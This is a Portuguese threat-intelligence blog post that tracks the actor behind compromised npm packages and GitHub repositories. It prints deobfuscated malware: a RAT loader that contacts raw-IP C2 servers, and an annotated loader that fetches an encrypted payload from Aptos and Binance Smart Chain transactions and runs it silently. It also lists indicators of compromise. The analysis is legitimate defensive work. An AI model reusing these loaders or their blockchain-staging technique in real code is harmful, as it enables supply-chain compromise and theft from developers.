Aikido

Um olhar mais aprofundado sobre o ator da ameaça por trás do ataque react-native-aria

Charlie EriksenCharlie Eriksen
|
#
#

Talvez tenha visto a notícia recente sobre um grupo de agentes maliciosos que comprometeu 16 pacotes populares relacionados com React Native Aria e GlueStack, que descobrimos e documentámos. aqui. Anteriormente, detectámos que eles comprometeram o pacote agente-de-utilizador-rand em 5 de maio de 2025, conforme relatado aqui

Desde então, temos acompanhado esse agente de ameaças e observado ataques menores que ainda não documentámos totalmente em público. No entanto, queríamos compilá-los para fornecer uma visão mais ampla de suas atividades. 

Pacotes maliciosos iniciais

Em 8 de maio de 2025, os nossos sistemas já nos tinham alertado sobre dois novos pacotes no npm que pareciam ser maliciosos. São eles:

Ambos foram carregados pelo mesmo utilizador, aminengineerings, registado com o e-mail aminengineerings@gmail[.]comDesde as primeiras versões, ambas continham a carga maliciosa, indicando que este pacote pertence aos próprios autores da ameaça.

Mais pacotes maliciosos

Também observámos dois pacotes adicionais lançados pelo atacante após o ataque ao gluestack. Os pacotes foram lançados em 8 de junho de 2025, sob os nomes tailwindcss-animate-expand e mongoose-lit. Estes foram divulgados por um utilizador chamado mattfarser. O utilizador foi rapidamente eliminado depois disso.

Especificamente, o tailwindcss-animate-expand O pacote é digno de nota, pois tem uma estrutura de carga útil diferente. A primeira parte dele tem o seguinte aspecto:

global['r']=require;(function(){var Afr='',xzH=906-895;...

Já não vemos o global[‘_V’] variável a ser definida. Quando executamos isto numa área restrita, vemos que a carga final também é ligeiramente diferente. A carga fica assim após a desofuscação:

global._V = 'A4';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c('child_process');
    const j = c('crypto');
    const k = f.platform();
    const l = k.startsWith("win");
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === 'undefined' ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, 'node_modules'));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A("axios");
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          "stdio": "inherit",
          windowsHide: true
        };
        const W = {
          "stdio": "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c("axios");
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
    const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...

O que é especialmente interessante é que vemos que a versão é A4, que foi mencionado no ataque do fim de semana como um sinal para usar o novo servidor C2.

Também vemos que o "antigo" servidor C2 não é mais mencionado. Em vez disso, eles adicionaram o IP 166.88.4[.]2.

Sinais de alerta

Antes deste ataque, notámos que alguns pacotes pequenos estavam a ser comprometidos. Aqui estão os pacotes que notámos:

Pacote Versão Data de lançamento
@lfwfinance/sdk 1.3.5 3 de junho de 2025
@lfwfinance/sdk-dev 2.0.10 3 de junho de 2025
algorand-htlc 1.0.2 3 de junho de 2025
avm-satoshi-dice 1.0.6 3 de junho de 2025
biatec-avm-posto-de-combustível 1.1.2 3 de junho de 2025
arc200-cliente 1.0.7 3 de junho de 2025
cputil-nó 0.6.6 3 de junho de 2025

Esses pacotes pertencem a três indivíduos diferentes e têm menos de 100 downloads por semana. Parece que esses agentes de ameaças são consistentemente capazes de comprometer os tokens das contas npm. 

Repositórios GitHub comprometidos 

À medida que investigávamos esses ataques mais a fundo, decidimos examinar outros ecossistemas em busca de evidências que pudessem fornecer mais informações sobre como esses agentes de ameaças operam. Conseguimos detectar 19 repositórios no GitHub que foram comprometidos pelos mesmos agentes de ameaças:

Repositório Data Confirmar
LZeroAnalytics / ethereum-faucet 04 de junho de 2025 23ea1dd
LZeroAnalytics / hardhat-vrf-contracts 04 de junho de 2025 f325ab6
DogukanGun / TurkClub 23 de maio de 2025 84aaa06
khaliduddin / jogo de números 19 de maio de 2025 36f20cb
DogukanGun / NexWallet 16 de maio de 2025 43193c5
DogukanGun / NexAI 14 de maio de 2025 74d5221
revoks / pena redonda-1f9f 01 de maio de 2025 ca05542
LLM-Equipa Vermelha / glm-free-api 28 de abril de 2025 16a0bfc
LLM-Red-Team / deepseek-free-api 08 de abril de 2025 37f4c58
DogukanGun / modelos de pipeline 02 de abril de 2025 699eb16
mobileteamz / Landhsoft-Frontend 29 de março de 2025 e3636c9
UnderGod-dev / portfólio 29 de março de 2025 87f8add
DogukanGun / PopScope 26 de março de 2025 1775087
DogukanGun / NexAgent 23 de março de 2025 7ff7afa
Sid31 / comprar-na-frente-sem-custo 28 de fevereiro de 2025 ce93a20
DogukanGun / supabase 12 de janeiro de 2025 71e169b
LLM-Equipa Vermelha / kimi-free-api 17 de dezembro de 2024 2e6397c
LLM-Red-Team / doubao-free-api 13 de dezembro de 2024 b0ce4e9
LLM-Equipa Vermelha / qwen-free-api 13 de dezembro de 2024 d8046bf

Há alguns commits que se destacam nestes, sendo um exemplo:

https://github.com/LZeroAnalytics/hardhat-vrf-contracts/commit/f325ab694ff83e12c96a99a58d51635e70edcdbf

O agente malicioso alterou ligeiramente a carga útil que utiliza. Neste caso, codificou a carga útil em base64, que passa para eval(). Aqui está a carga útil descodificada, anotada com comentários que descrevem a sua funcionalidade.

/*****************************************************************************************
 *  Malware “loader” that hides its real payload on two block-chains.                    *
 *  Flow ⬇️                                                                             *
 *    🥇  Step-1  Read pointer on Aptos                                                 *
 *    🥈  Step-2  Use pointer on Binance Smart Chain (BSC)                              *
 *    🥉  Step-3  Pull out hidden blob                                                 *
 *    🗝️  Step-4  Decode & decrypt                                                    *
 *    🚀  Step-5  Run it silently                                                      *
 *****************************************************************************************/

/* ─────────────────────────────  Bootstrap  ───────────────────────────── */
global['r'] = require;                 // save `require` as global.r (little obfuscation)
(async () => {

  /* quick aliases */
  const c = global;                    // shorthand for `global`
  const i = c['r'];                    // shorthand for `require`

  /* 🛠 Helper 1: GET url → JSON  */
  async function e (url) {
    return new Promise((resolve, reject) => {
      i('https')
        .get(url, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject)
        .end();
    });
  }

  /* 🛠 Helper 2: call BSC JSON-RPC  */
  async function o (method, params = []) {
    return new Promise((resolve, reject) => {
      const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
      const opts    = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };

      const req = i('https')
        .request(opts, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject);

      req.write(payload);
      req.end();
    });
  }

  /* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
  async function t (aptosAccount) {

    /* 🥇  STEP-1  Read pointer on Aptos */
    const latestTx  = await e(
      `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
    );
    const bscHash   = latestTx[0].payload.arguments[0];   // pointer → BSC tx-hash

    /* 🥈  STEP-2  Fetch BSC transaction carrying the payload */
    const bscTx     = await o('eth_getTransactionByHash', [bscHash]);
    const hexBlob   = bscTx.result.input.slice(2);        // drop "0x"

    /* 🥉  STEP-3  Pull out hidden blob (still unreadable) */
    const rawText   = Buffer.from(hexBlob, 'hex').toString('utf8');
    const b64Chunk  = rawText.split('..')[1];             // keep part after ".."

    /* 🗝️  STEP-4  Decode & decrypt */
    const encrypted = atob(b64Chunk);                     // Base-64 → binary string
    const KEY       = '$v$5;kmc$ldm*5SA';
    let  payload    = '';

    for (let j = 0; j < encrypted.length; j++) {
      payload += String.fromCharCode(
        encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
      );
    }
    return payload;                                      // plain-text JS to execute
  }

  /* 🚀  STEP-5  Run it silently in the background */
  try {
    const script = await t(
      '0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
    );

    i('child_process')
      .spawn(
        'node',
        ['-e', `global['_V']='${c['_V'] || 0}';${script}`],
        { detached: true, stdio: 'ignore', windowsHide: true }
      )
      .on('error', () => { /* swallow child errors */ });

  } catch (err) {
    /* stay quiet on any failure */
  }

})();       

Este código é inteligente, pois se autoinicia parcialmente a partir do conteúdo de duas cadeias de blocos diferentes. Aqui está uma visão geral passo a passo:

A transação na Binance Smart Chain pode ser encontrada abaixo. Vale a pena notar que a carteira e o contrato existem desde 7 de fevereiro de 2025: 

https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Executámos o código numa sandbox e obtivemos a carga útil final, que era a mesma que já tínhamos documentado anteriormente, sem alterações significativas. 

Conclusões

Vemos que o agente malicioso está a comprometer ativa e consistentemente não apenas pacotes npm, mas também repositórios GitHub. Além disso, eles têm experimentado a implementação de seus próprios pacotes com seu RAT. Eles também começaram a usar Blockchains como um método para divulgar seu código malicioso. 

Indicadores de comprometimento

Pacotes

  • solanautil
  • web3-socketio
  • tailwindcss-animate-expand
  • mongoose-lite
  • @lfwfinance/sdk
  • @lfwfinance/sdk-dev
  • algorand-htlc
  • avm-satoshi-dice
  • biatec-avm-posto-de-combustível
  • arc200-cliente
  • cputil-nó

IPs

  • 166.88.4[.]2
  • 136.0.9[.]8

Conta Aptos

  • 0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d

Endereço da BSC

  • 0x9BC1355344B54DEDf3E44296916eD15653844509

Contrato BSC

  • 0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c

4.7/5

Proteja seu software agora

Comece Gratuitamente
Não é necessário cc
Agendar uma demonstração
Seus dados não serão compartilhados · Acesso somente leitura · Não é necessário cartão de crédito

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.